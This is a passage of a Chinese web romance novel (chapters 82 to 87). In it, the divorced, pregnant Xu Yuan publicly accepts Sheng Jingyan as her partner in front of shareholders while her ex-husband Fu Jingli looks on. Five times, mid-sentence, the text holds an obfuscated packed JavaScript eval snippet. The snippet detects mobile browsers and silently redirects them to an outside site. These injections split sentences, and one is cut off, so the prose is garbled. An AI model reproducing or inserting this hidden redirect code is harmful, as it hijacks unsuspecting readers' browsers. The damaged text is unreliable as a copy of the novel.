听到这些,温栩栩终于算是松了口气,但还是忍不住开口询问:“你和盛景炎到底是什么关系?这些照片和视频是真的吗?” 她也是听说过盛景炎在圈子里的名声。 就算真的跟傅京礼分手,也不能挑盛景炎这种。 在温栩栩看来,盛景炎根本配不上许愿,连根头发丝都配不上。 “我跟他能是什么关系?借位拍摄出来的亲密照片,你看不出来吗?” 许愿揉了揉眼睛,叹了口气,才捧起桌上的热牛奶喝了口方才继续开口:“我最近对这种恋爱的事不感兴趣,所以不必替我担心。” 温栩栩隐忍片刻,还是没能忍住。 “可是你们这……这看日出看烟花的照片,总不该是p的吧。” 这照片是真是假,她还是能够分辨出来的。 许愿顿了下,笑了笑。 “我不会让感情左右我的思绪,所以……不必为我担心。” 第82章 许愿,你疼疼我 许愿很清楚,自己的心已经死了。 她自认为自己很理智,可理智的人一旦陷入爱河,才是真正的无法克制自己的内心。 她将所有的爱全部都倾注到了傅京礼的身上。 纵然现在已经不爱他,却也在没有精力去爱更多人。 盛景炎很好,如果只是交易,她可以答应。 但如果是……恋爱,她想都没有想过的。 “放心,栩栩,我清楚我自己在做什么。” 许愿弯了弯眼睛,唇角都带着笑。 到了傅氏,明显感受到公司员工看过来的眼神,但是并没有多少嘲讽。 他们最清楚许愿是真的有实力,网上传的那些才是子虚乌有的事。 说什么许愿是靠着盛景炎爬起来的。 许愿在国外大放异彩的时候,盛景炎还是个名不见经传的浪荡子呢。 许愿也并不认为这件事会对自己造成困扰。 项目部的员工因为纷纷问好,许愿只是笑了笑,将早上带来的甜品茶点分发下去,才回到自己的办公室处理文件。 办公室的门开了,一股带着点甜腻的古龙水味道传过来。 有点熟悉,又有点呛人。 许愿抬起头,看到了盛景炎。 盛景炎从西装内袋里掏出一盒烟,一边走一边漫不经心地把玩着。 他温柔多情的眼眸正一瞬不瞬地看着许愿,嘴角微扬的弧度带着一丝戏谑。 “看到网络上那群人说什么了吗?” 许愿看着他,似乎是等他的下文。 “他们说我们是一对,郎才女貌的那种。”盛景炎笑的有点痞气,“我倒是想让他们说句祝福的话,例如百年好合。” “做什么梦?” 瞥见他长指夹着的烟,许愿靠向椅背,低声询问,“抽烟?” “你来吗?”盛景炎发出邀请。 许愿顿了下:“算了。” 婚前,她是会抽烟的,只是抽得少。 特别是嫁给傅京礼后,她就再也没有抽过烟。 因为她要做傅京礼心里那个完美的傅太太,要做上流圈层优雅的许秘书。 更何况,她现在怀孕了,更加抽不了。 就连闻到烟味都会有点反胃。 盛景炎想起来她不喜欢烟味,片刻后也将烟盒收了起来。 片刻后,两人去了天台。 看见他们肩并肩地走进来,正在天台偷闲的职员们忽然都噤了声,然后陆陆续续离开。 毫无疑问,那则桃色新闻必然已传遍公司。 纵然有些人相信许愿,但盖不住有人就喜欢聊这些桃色八卦。 “担心吗?” 盛景炎狭长的眼眸定定看向许愿。 许愿站在一人高的绿色盆栽旁,身体斜倚着巨大的落地窗,看向外面的晴空万里。 剪裁雅致的西装面料勾勒出她纤细却玲珑的身体曲线,那种难以掩盖的气场,是不容忽略的。 “不过是些小乱子,有什么可担心的。” 许愿懒洋洋地瞥了盛景炎一眼,伸手比划了一下二人的身高差,轻笑:“更何况,天塌下来,也有个儿高的人顶着。” 盛景炎嗓音沙哑地笑了,认真点头:“行,我帮你顶着。” 他眯了眯半是慵懒半是愉悦的眼。 “昨天晚上。” 许愿看着他,缓缓问道:“你是不是想吻我?” 盛景炎愣住了。 素来思维敏捷的他,脑子里竟泛起一阵紊乱的鸣响。 许愿站直了一些,慢慢走到盛景炎身边,摊开白皙清透的掌心。 “借一下你的打火机给我。” 盛景炎很快恢复镇定,嗓音异常沙哑:“怎么了?” 许愿没回应,从他的从西装内袋里摸出一枚纯金铸就的打火机。 她将打火机拿在手心把玩,笑着抬眸:“其实,嫁给傅京礼之前,我会抽烟。” “不过嫁给他之后,我就戒了。” “你知道的,他不喜欢这些。” 盛景炎喉结微微一滚,嗯了一声。 末了,他接过她把玩过的打火机,眯眼低笑:“他不喜欢的东西可真多。” “真正的,自在的你,他却不喜欢……刚巧。这样的你,我全部都很喜欢。” 盛景炎又在说情话。 许愿姿态闲散慵懒,像是摄人心魄的女妖精,无时无刻都在散发着夺目的魅力。 她轻呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618036|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口气。 “你是不是又想吻我。”她问。 想,他当然想! 盛景炎目光灼热,听到她这样问,只觉脑海里有风暴在席卷,也有热浪在翻滚,更有浓烈的情潮无处宣泄。 他睁着微泛血丝的黑眸。 他望着面前风情万种的女人,嗓音沙哑。 “许愿,你疼疼我?嗯?” 许愿笑得眼睛都弯起来,像是被他逗笑了。 他真的是很能放得下身段。 堂堂盛世总裁,盛家最新的继承人,却在此刻弯腰低头,诉说着自己的渴望自己的情意。 换做是别的男人,怕是只会直接强吻、逼迫。 唯有盛 景炎会询问会恳求。 盛景炎甚至觉得许愿就是故意的。 他故意撩拨,故意引诱,故意展露出最娇艳的花瓣,轻颤着花蕊冲近在咫尺的人喷吐浓香。 盛景炎沉沉地笑了,然后便伸出手,握住许愿的手暧昧的揉捏了下。 “许愿,答案呢。” 许愿扬唇,呼出暧昧的热气。 她抽回自己的手,长指抚摸着他的侧脸,歪头含笑的看他。 “我不允许。” 她含笑,温柔的拒绝他的请求。 男人一手扶额,声音都带着几分无奈。 “许愿,你就是来折磨我的吗?” 许愿看着他,眼神却染带上几分清冷,其中已经不再掺杂任何感情。 “你应该很清楚,我们之间不会有什么未来。” 许愿开口的话有些残忍,直接打破盛景炎的臆想。 他微顿了下,唇角再度展露出笑意。 像是不在乎,又像是想让她继续说完后面的话语。 “所以,你只要记得我们之间是交易和互相利用的关系就够了。”许愿开口。 交易和互相利用的关系。 真是干干净净的不会让人有多余想法的关系。 盛景炎顿了片刻,目光仍放在她的脸上从未移开。 片刻后,他握住她的手。 这次许愿没有躲,似是想看他要做什么。 “既然只是交易,那为什么不可以交易更多?” 第83章 满意的爱人 “我需要一位美丽优秀的妻子,而你也需要一位能为你所用的“爱人”,不是吗?” “你可以嫁给傅京礼,自然也可以嫁给我。” 他声音低缓,沾带着几分蛊惑之意。 “许愿,你可以考虑下我的提议。” “我一定会为你提供足够的情绪价值,我会是一位让你满意的爱人。” 他是真的聪明。 他不说自己有多爱她有多喜欢她,他只说自己是一位让她满意的爱人。 到底还是没有逃开交易。 许愿眸光微微闪烁,她转过身去看向窗外高楼林立的寡淡风景。 窗户半开了一条缝,有微风吹拂进来,吹乱了她额前的散发。 坦白来讲,盛景炎真的非常适合恋爱结婚。 但是…… 她的手放置到自己小腹处,片刻后浅淡的笑意飘出。 “还有就是……盛景炎,我怀了他的孩子。” 她转过身,眼神犀利的看着他:“你告诉我,这样的我,你也要继续演戏吗?” 男人漆黑的瞳眸,闪过一丝怔愣。 她怀了傅京礼的孩子? 怪不得,她最近经常反胃想吐,还不能闻烟味。 原来,是怀孕了…… 片刻后,盛景炎深深的盯着许愿,并未移开目光。 他当然是在意的,是非常在意的。 她有傅京礼的孩子,他甚至脑海中有过他们缠绵亲密的画面。 他能够想象到她在傅京礼怀中是如何的娇艳动人,那是他完全不可能看到的景色。 只要想到这些,内心就泛起一股难以言喻的酸胀感觉。 说完全不在意,那才是谎话。 “你不是都说了?我们之间只是交易的关系,以交易来支撑我们之间的感情。” “而你肚子里的孩子?” 他缓缓靠近,弯腰凑在她耳边:“你和他的孩子,一定会非常……非常优秀,这样的孩子应该有资格继承我们盛家未来的产业,不是吗?” 他出口的话,让人听着简直觉得他疯魔了。 疯了吗,让她和傅京礼的孩子继承家业。 “你疯了,我还没疯。” 许愿想要推开逐步凑近的男人,却被盛景炎一把抓住手,握紧。 “许愿,我说我不在乎,你不会相信,我是在乎的。” “没有任何一个男人会不在意自己女人的过去,除非他在说谎,哪怕没有感情也会在意过去。” “我承认我是有劣根性,我接触你就是因为你优秀漂亮。我早就将你看做是未来能够与我并肩的妻子,所以我会在意你和傅京礼曾经做过的任何事。” 他没有撒谎,几乎是在她面前剖析着自己的内心。 “但我清楚,那不是你的错也不是他的错,我能接受一切,我也能跟你一起抚养他长大。” “我可以做好父亲的角色。” 盛景炎喉结滚动,片刻后说出一句让许愿都有些动摇的话。 “我们自小经历过那些事,你也不希望自己的孩子一出生就是单亲家庭,或者没有父亲……” “跟我在一起你完全不必在意这些,因为我们相同的遭遇,相同的成长环境都能够让我们完全跟他共情。” “跟我在一起,我会是一个好丈夫好父亲,这是我对你的承诺。” 不得不说,盛景炎是真的有心机。 他说的这些,也是许愿一直都在思考的。 江惊蛰跟她提到过,她这个孩子不能打掉,否则可能导致终生不孕,她暂且归结于自己跟这个孩子有缘。 可怀了他生下他,就要对他负责。 但是她的身份实在尴尬又可笑。 她跟傅京礼已经离婚了,以后有了孩子,要找谁来扮演父亲这个角色? 纵然她认为没有父亲不是什么大事,但是…… 她不能从出生,就剥夺了小朋友拥有幸福家庭的权利。 而盛景炎,无疑就是最合适的人选。 他们自小相同的成长环境,相同的遭遇,都让他们能够完全共情彼此。 “你在迟疑了。” 盛景炎伸出手揉了揉许愿的头。 “这对我来说,是件好事。” 他笑,那双狭长的眼眸弯起来。 “我等着你接受我的那天。” …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618037|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅氏总裁办公室。 已经到了约好的时间,盛景炎仍旧没来。 傅氏有许愿,而盛景炎又在这个时间迟到,男人眸色沉沉。 不难想象,他又是去骚扰许愿了。 傅京礼立刻给盛景炎打电话。 那边响了很久,却没人接听。 他改为发信息,也宛如石沉大海。 傅京礼眸色愈深,正打算让沈略去找人,只是片刻后一条信息发送过来。 一则视频浮现在屏幕上,许愿和盛景炎贴得很近,她的手放在盛景炎的脸上,像是在轻抚。 盛景炎似乎是感觉到了镜头,犀利的眼神都带着几分挑衅之意,直直朝着镜头看过来。 是的。 盛景炎在挑衅他。 在他的 公司,跟他的女人如此亲密…… 傅京礼眼底已经尽是寒冰,然而下一秒,又一条短信跳出对话框。 来自于公司的一名大股东,是傅老爷子曾经的一位老友,最是喜欢倚老卖老。 【我给你发的视频看见了吗?昨天你说中止跟莱蒂斯的项目,是你和盛景炎共同的决定,我们选择了相信你们的判断。但是你看看盛景炎在搞什么?他跟许愿竟然时这种关系!现在那篇博文还在被人疯狂转载,傅氏的股价一直在跌,我已经联系了各位大股东,他们都已经在来的路上。我们要召开听证会,让盛景炎和许愿给我们一个交代!莱蒂斯手里的项目,我们一定要重新拿回来!】 傅京礼一边心不在焉地阅读短信,一边乘坐电梯到了10楼,狠狠推开天台的门。 门外站满了人,是有人散播消息,说是许愿和盛景炎在这里约会见面,才都想看场戏的。 但现在看到脸色黑沉,气场冷冽的傅京礼,众人没了看戏的心思,所有人都惊慌失措地逃开。 房间内,许愿和盛景炎的距离不算多近但也并不远,大概只有两条手臂的距离。 两人之间的气氛,确实有些亲密。 让人根本无法插进去。 看到来人是傅京礼,盛景炎甚至扬了扬眉,然后一条手臂搭在许愿的肩上。 他将人搂在自己怀中,狭长的狐狸眼浸满明显的笑意。 第84章 情侣关系 这是雄性之间开战的信号。 许愿抬眸,目光清清冷冷不掺杂任何感情,就这么望着傅京礼,唇角缓缓勾起。 她此刻的笑意就好像是在告诉傅京礼,她有了新的人选,像是告诫一般。 盛景炎似是看懂了她的暗示,刻意的搂住他的腰。 纵然感受到许愿身体微微一僵,也没有放开,而是沙哑低语:“天塌了,我帮你撑着。” “暂时还用不上你。”她的目光并未从傅京礼身上离开。 “天塌了,我自己还撑得住。” 他们是真的有些旁若无人。 特别是许愿,仿佛已经当傅京礼不存在,好像他们曾经真的没有任何关系一般。 “傅总是来叫我们开会的吗?” 盛景炎唇角笑意加深。 “实在抱歉,看到阿愿,我就有些控制不住自己的感情,所以耽搁了些时间。” “希望傅总不会在意。” 他开口的话语都是吊儿郎当的,似乎完全不在意此次会议。 事实上,他也确实没放在心里。 傅京礼目光幽深,眼底深邃像是暗藏着几分危险的凛冽之意。 他深深的看了两人一眼。 “会议十分钟后正式开始,希望两位准时到场。” 话落,傅京礼淡淡略过许愿。 只停顿片刻,便移开视线转身离去。 许愿站在原地,只觉得心里像是浸过一层寒冰,止不住的酸涩冷意。 他到底还是不在意的。 她自嘲的嗤笑一声,却听到身边男人轻快的声音。 “走了走了,这次的会议应该有不少没脑子的老古板啊。” 不等她想更多,已然被盛景炎拽住手腕,拉拽着离开了天台。 其实这样也挺好的。 起码盛景炎这个人风风火火的,根本不会给她内耗的时间。 …… 顶层会议室。 这是一间门窗紧闭的会议室,头顶整齐排列着数十盏灯,盏盏都打在许愿与盛景炎身上。 过于明亮的光线,让他们每一个细微的表情和动作都无所遁形。 八位大股东坐在二人对面,表情都很冷肃,目光也充满了怀疑和审视,宛如押解罪犯的领导者。 傅京礼被大股东们簇拥在中间,手里把玩着一个纯金的扁方烟盒。 他低垂着头,神色十分平静,唯有一双泛着血丝的黑眸泄露了些许情绪。 推开天台的门之后,他没有暴怒,也没有斥责,只是让两人来参加会议。 于是许愿和盛景炎便肩并肩地坐在了这里。 “想问什么,尽管问吧。” 盛景炎翘着二郎腿,漫不经心地笑着。 见他如此放松,许愿便也缓缓地靠向椅背。 透着一点淡粉的指尖,有一下没一下地把玩转动着自己的手机。 傅京礼抬起头,扫了她一眼。 许愿目光躲也不躲,唇角挂着明显的笑意。 倒是傅京礼缓了片刻,移开目光。 几位股东互相看了看,其中一个人沉声问道:“你们是什么关系?” 盛景炎似乎觉得这个问题有些好玩,不由勾唇一笑。 末了,他看向许愿,懒洋洋地问:“我们是什么关系?” 他把手臂搭放在椅背上,随意地问着,目光却一瞬不瞬地盯着许愿。 这表明他对这个问题的答案,也是非常在意的。 傅京礼漆黑幽暗的眸,则一瞬不瞬地盯着他们两人。 许愿实在是想笑。 所以说,盛景炎这个男人心思实在是太重了。 他今天来傅氏,就是故意要做出点亲密动作,让旁人猜忌他们之间的关系。 在天台时,他说什么会让许愿自己选择。 其实说白了,她并没有多少选择。 他们没有在天台做什么,可是谁会相信呢? 那篇博文也在被转载得到处都是,所有人都在说他们之间不清不楚。 与其不清不楚,反倒不如此刻给他个身份。 是的,盛景炎算计这么多,无非只是要她承认他,他想要个名分。 诡计多端的盛景炎,但她……并不讨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618038|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厌。 “我们当然是情侣关系。” 于是许愿便温柔地笑了,清冷的眼眸里故意的泛出愉悦的波澜。 分明是在被审问,却仿佛变成了一场告白。 盛景炎一直望着她精致明艳的侧脸。 终于被他承认,只觉心口处都有些火热滚烫。 像是整颗心都要从喉咙口跳出来。 “许愿,这是你亲口承认的。” 当着这么多人的面,亲口承认的。 盛景炎眼底浓烈的笑意,根本止也止不住。 这两人之间的关系昭然若揭。 傅京礼眸色暗沉地盯着两人,紧握着钢笔的手指骨泛白。 又一位大股东沉声问道:“你们什么时候在一起的?” 他们必须搞清楚,盛景炎叫停莱蒂斯这次的项目,到底是不是为了联合许愿对付许宁。 “什么时候在一起的?” 盛 景炎玩味地重复这句话,染着一抹薄红的眼尾,轻轻睨向许愿。 许愿听出来了,盛景炎是在让她回答。 许愿眸色平静:“我们刚才才在一起。” “你们刚刚才确定关系?” 一名股东不相信许愿的说辞。 “的确是在刚刚在一起,毕竟以前都是我在追求许经理。若非是各位的逼问,许经理到现在也不会给我个名分,真是谢谢各位了。”盛景炎勾着唇角开口。 几名大股东气得直骂。 骂他们公私不分,骂他们荒唐行事,骂他们为了私欲损坏了公司的利益。 两人并不辩解,只是沉默地听着,像是局外人在看这些人发疯一般冷静克制。 在纷扰嘈杂的质问和责骂中,始终保持沉默的傅京礼却忽然放下了手中的钢笔。 许愿能认出那根钢笔是她送给傅京礼的。 她心间微滞,逼着自己移开目光。 钢笔被丢到桌上,并未发出多少声响。 傅京礼双手交叠,目光落在许愿脸上,眼神中都是明显的冷漠和探寻。 最终,他了开口:“为什么?” 第85章 想要钢笔 为什么才刚刚离婚,就选择了盛景炎。 为什么这么快就放弃他? 如果这就是许愿对他的爱? 为什么她的爱,如此浅薄? “什么?”许愿愣住。 这个问题无头无尾,她没听懂。 然而盛景炎却听懂了。 盛景炎愈发想笑了,他拊掌哼笑一声。 “因为我们是同类,就是这么简单。” 盛景炎开口,能让傅京礼清晰听到他的话。 其实许愿能够在这种时候承认他们两人是这种关系,更多的原因是因为落入了盛景炎的圈套。 他已经拿出了自己所谓的底牌。 当然,他也是她现在最好的选择,她没道理不选择他。 更何况,也是他故意设计算计到现在这样的局面。 看着傅京礼隐忍的脸庞,压抑的双眼,盛景炎撇开头,颇觉有趣地笑了。 许愿抬眸看着盛景炎,追问一句:“什么为什么?” 傅京礼冷冷地扫了一眼畅快而笑的盛景炎,眸色愈发深沉。 他虽然并没有说什么,但是此刻他紧皱的眉,抿直的唇,冷厉的脸…… 明眼人都能看出来,他现在心情极度糟糕。 坐在傅京礼身边的股东诧异地瞥了他一眼。 这位老股东是年纪大了,经历的事情也多,是知道傅京礼是什么性子的。 傅京礼从未像现在这样,如此外放的表露过自己的情绪。 现在因为一个许愿,盛景炎发疯了,连傅京礼都变得不正常了。 他们是被下蛊了吗? 这位股东一边暗忖,一边摇头。 傅京礼转动着手中的钢笔,目光略过其上手工雕刻上的金色花纹。 其实他从来没有仔细看过这根钢笔,此刻目光落在上面,才发现这根钢笔和旁的是有区别的。 它上面的花纹,其实并不像机器雕琢的毫无灵魂的纹路。 这是许愿送给他的钢笔,他记得许愿跟他说过,这是一款定制的钢笔。 长指触及上面的花纹纹路,只觉指尖带着点隐隐的烫意。 心尖那种难以言喻的酸涩感,让傅京礼久久未言语。 片刻后,他握紧钢笔,掌心仿佛都感觉到钢笔上的纹路印刻在自己掌心。 再度抬头时,他那嗓音带着几分低沉的哑意,像是在压抑着某种情感。 傅京礼深深的看了许愿一眼。 “许愿,你被停职了。”他沉声开口。 “让公司丢掉那么大一个项目,只是停职,像话吗?我们的意思是,开除许愿。” 一名大股东愤然抗议。 “中止项目,是我和盛总共同的决定,与许愿无关。” 傅京礼站起身,语气里满是不耐和厌烦:“你们不用再说了,就这样吧,散会。” 离开前,他看了许愿一眼,大步走出会议室。 一群股东追着他不停劝说,渐渐远去。 许愿坐在椅子上伸了一个懒腰,倦倦地问:“接下来我们怎么办?” 她像是完全没将自己被停职的事情放在心上。 “陪我去度假吧?东区新开了一家温泉酒店,我们去泡温泉?” 盛景炎握住新出炉的女朋友的手。 这次,许愿没有躲。 “夏天泡温泉?” 许愿挑眉,明显能看出盛景炎这小子冒坏水。 “明天是我生日,你要送我什么礼物?” 盛景炎用指腹轻轻摩挲着许愿手腕上最嫩最滑的一截肌肤,语气里隐藏着一丝渴求。 许愿歪头看着他笑了笑,笑意中都带着深意。 她反抓住盛景炎的手,声音中带着几许警告。 “盛景炎,你想让我怀着傅京礼的孩子跟你去泡温泉,做更多亲密的事吗?这是你想要的吗?” 盛景炎面上的表情都僵了片刻。 他深知这是许愿对他的提醒。 虽然他们现在已经是男女朋友关系,但并不是因为爱情在一起,只是因为合适。 只是因为被这群股东逼迫,迫不得已承认,或者说是故意的反击。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618039|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 所以说是恋人,倒不如说是合作关系。 “我会为你准备一份生日礼物。” 许愿看着他缓缓开口,不再像是刚才那般冰冷,带着几分安抚意味儿。 因为手机忘在会议室,又或者说是故意忘在会议室的傅京礼重新回到会议室。 他站在门边,听到许愿说会为盛景炎准备生日礼物。 他的动作顿了下。 他看到盛景炎握住许愿的手,声音都带着几分诱哄:“我也没什么别的要求,亲自给我做一根钢笔就好了,就像傅京礼那根那种的。不过我不要金色的,我要黑色的。” 傅京礼整个人僵住。 那根钢笔……是许愿亲手做的吗? 不只是傅京礼怔住,许愿都有些微的发愣。 “你怎么知道的。” 盛景炎似是余光瞥见傅京礼的身影,意味不明的哼笑一声。 “我还挺喜欢收藏钢笔的,那段时间那位老先生做了几根新的定制钢笔,我是花了 大价钱买下来的。那天刚巧,遇到你在那里雕刻钢笔上的纹路。” 他的确遇到过许愿,亲眼见到许愿像是情窦初开的天真少女一般愉悦开心的为自己心爱的人准备礼物。 他那时心里其实有悸动,但又觉得有些可笑,心里暗骂许愿是个恋爱脑。 没想到,现在会跟许愿有这么多的交集。 他此刻提到这些,无疑是为了打击傅京礼。 旁的人看不出傅京礼对待许愿的感情,他却能看出来。 傅京礼对许愿,绝对不像许愿说的那样毫无感情。 盛景炎眸光深了几分,挑衅的抬起眸看向傅京礼,像是状似无意才发现男人一般开口:“傅总来了?是忘了什么东西吗?” 傅京礼眸光晦涩,深沉的目光略过许愿,到底没有说更多。 盛景炎却笑了,故意开口:“阿愿,你还没有同意我的请求呢,我可是很想要一根你亲自动手雕刻的钢笔呢。” 气氛实在过于诡异。 只有盛景炎好似什么都感觉不到一般,自在的笑着。 第86章 东西被丢 傅京礼的目光一直落在许愿身上,像是在等着她的回答。 许愿喉间溢出很轻很轻的笑:“你喜欢的话,当然没问题。” “如果你只想要钢笔,那怕是要多花点时间等了。” 盛景炎握紧她的手腕,低沉而又欢悦地笑了道:“只要是能得到你亲手做的礼物,我当然可以心甘情愿的等更久的时间。” 傅京礼一言不发取走手机,转身离去。 大步走进电梯的傅京礼忽然停步,紧接着便用胳膊撑住了金属墙壁,粗重地喘息一声。 几位股东一直在等着他,也在此刻跟进电梯,将他团团围住,不停讲述与莱蒂斯合作将为公司带来多大利润。 “我现在没心情和你们讨论这些。” 傅京礼声音里面掺杂着明显的冷意。 股东们噤若寒蝉,果真被镇住了。 他们是真的不敢触他逆鳞。 傅京礼双手撑着电梯壁,垂头静默片刻。 待翻涌的情绪和灼烫的呼吸得到平复,他才哑声开口:“明天我休假,有事联系沈略。” 股东们面面相觑,实在不懂为什么会变成这样。 会议室内的许愿坐在桌沿,她表情温和中带着冷漠感:“你早看到他在门外了,你是故意的。” “为什么不能故意?” 盛景炎嘲讽。 “我想得到的,他轻而易举就能得到,甚至肆意践踏伤害,我就是要让他知道你曾经付出倾注过多少爱意。” “他丢了你,是他这辈子做过的最错误的一件事。” “他会后悔会受伤,这是他活该。” 他确实是这么想的,所以才会做出这种离谱的事。 许愿像是听笑了。 “你这是在开什么离谱的玩笑。” 许愿抬头看向他。 “傅京礼绝不会因为这种子虚乌有的事受伤,他只会觉得我幼稚可笑。” 听到许愿的话,盛景炎此刻为傅京礼感受到一种悲伤感。 但他不同情傅京礼。 许愿这样想当然最好,只有这样,她以后才不会重新回到傅京礼身边。 “我去办公室拿点东西,你在车库等我。” 话落,许愿没等盛景炎更多的回应,转身离去。 许愿回到办公室,却发现办公室内除了她放置文件的保险柜,其它地方全都空空如也。 甚至连办公桌都空了。 之前傅京礼说过要为他换门的,但是似乎忘记了? “我的东西呢?” 许愿走出办公室,开口询问。 “哦, 我帮你丢了啊。” 许宁不知什么时候回到傅氏,此刻脸上挂着得意的笑。 她看许愿的眼神,像是在看什么丧家之犬一般。 许愿眼神淡淡的看她。 许宁笑呵呵地回望,满脸的鄙夷和挑衅。 她以为这次开会,许愿已经被开除了。 许愿用指尖叩了叩桌面,面无表情的拨通傅京礼的号码。 对面很快接通,声音冷淡却透着几分不易察觉的情意,但许愿没听出来。 “什么事。” “不是说过会给我换一扇只能解锁的门?”她问。 若非必要,许愿不会提到这些。 傅京礼皱眉开口:“出了什么事。” “你的许秘书随意丢掉了我办公室里的东西。” 她漫不经心的轻笑:“傅总,劳烦您这边告诉你的许秘书,我只是被暂时停职,不是被赶出傅氏,我是项目组的经理,还轮不到她一个新来的秘书欺辱!” 她开口说出的的话,让许宁的脸色都变了。 许愿做了那种事,怎么会……怎么会没有被开除呢! 凭什么没有被开除呢?! 这太不公平了! 傅京礼眉头紧皱,声音中带着浓重的冷意。 “我会让人给你重新置办一份,也会让许宁给你个交代。” 周围一直围观的群发出一阵窃笑,笑的是许宁。 早在许宁做那些事时,他们就知道许宁注定要踢到铁板的。 任你许宁跟傅总关系再好,也要清楚许愿在傅氏的地位。 她的东西,不是什么人都能动的。 许宁愣在原地,脸色极速变白。 她眼底的窃笑、嘲弄,都在此刻变成了不敢置信和深深的忌惮。 办公室里蔓延着死一般的寂静。 等许宁想要讨个说法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618040|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,许愿已经扬长而去。 没有多给她一个眼神,极尽嘲讽。 “临走还要拉个人垫背,你浑身长刺吗?” 许愿上了车,就听到盛景炎的调侃。 她对盛景炎在傅氏有眼线这种事已经习惯了,也不问他是谁说的。 “是啊,我全身上下都长满了刺,你怕吗?怕就离我远一些。” 许愿懒洋洋地靠在椅背上,眼睛看着窗外。 “快下雨了。” 他答非所问,隔着车窗,用细长指尖描绘空中黑得发沉的乌云。 “我喜欢带刺的花。” 片刻后,盛景炎低低地笑着。 许愿若有所 思地睨他一眼,没有给他回应。 她点开热搜,看到自己还在上面挂着,但是傅氏策划宣传部门已经放出她被暂时停职的公告函。 看到下面一水儿的让她滚蛋的言论,她不由得嗤笑。 挺像水军的,实在像极了许宁买的水军。 她看的无聊索性收起手机,重新看向窗外。 只这一会儿的功夫,天空中的乌云便裹挟着紫色电光,在轰隆隆的雷声中倒下瓢泼大雨。 急促的雨点噼里啪啦砸在车窗上,最快的雨刷也来不及扫清前方的视野。 盛景炎慢慢把车停靠在一座高架桥的下方。 豆大的雨点被桥体阻挡在外,雨水像瀑布一般从桥的两侧倾泻,落在地上发出哗哗的巨响。 “怎么不走了?”许愿奇怪地问。 “雨下得这么大,我怕出事,附近就是华庭,不如去华庭休息?”盛景炎开口询问她的意见。 雨是有些大了。 许愿眸光微微闪烁点了下头。 盛景炎从车里拿出一把黑伞,为许愿撑着雨伞,以免她被雨淋湿。 其实,这又是盛景炎的算计。 他知道有记者跟着他们拍摄。 他就是要带着许愿去酒店,他就是要让更多人知道他们的关系。 许愿那么聪明,自然猜到了,但她默许了他的心思。 不久后,热搜果然再度爆了,说的就是许愿和盛景炎之间极限暧昧拉扯的关系。 傅京礼当然看得到,甚至看得很清楚。 第87章 拿他当跳板 傅京礼瞳眸愈发深沉,眼底像是泛带着血丝,克制不住的给许愿发送了一条微信。 【许愿,你真的完全不在意爷爷吗?】 他打出这句话,才觉得自己卑鄙无耻,像是想用爷爷束缚他。 可他清楚,那两个人已确立关系之后,这样一条短信已经变得不合时宜了。 傅京礼垂眸看着这句话,在长久的挣扎之后,终是慢慢把这些字删掉了。 雨完全停了。 许愿透过华庭总统套房的落地窗,向外望去。 她的内心其实有几分轻微的悸动,直到接到许镇江的电话,让她滚回家解释清楚跟莱蒂斯和盛景炎相关的事。 许氏被针对,现在许镇江焦头烂额的,许多合同都被停了。 现在算是孤注一掷的将一切压到许宁身上。 他知道许宁在许愿那里受了委屈,而许愿又在被傅氏停职后跟盛景炎去了酒店。 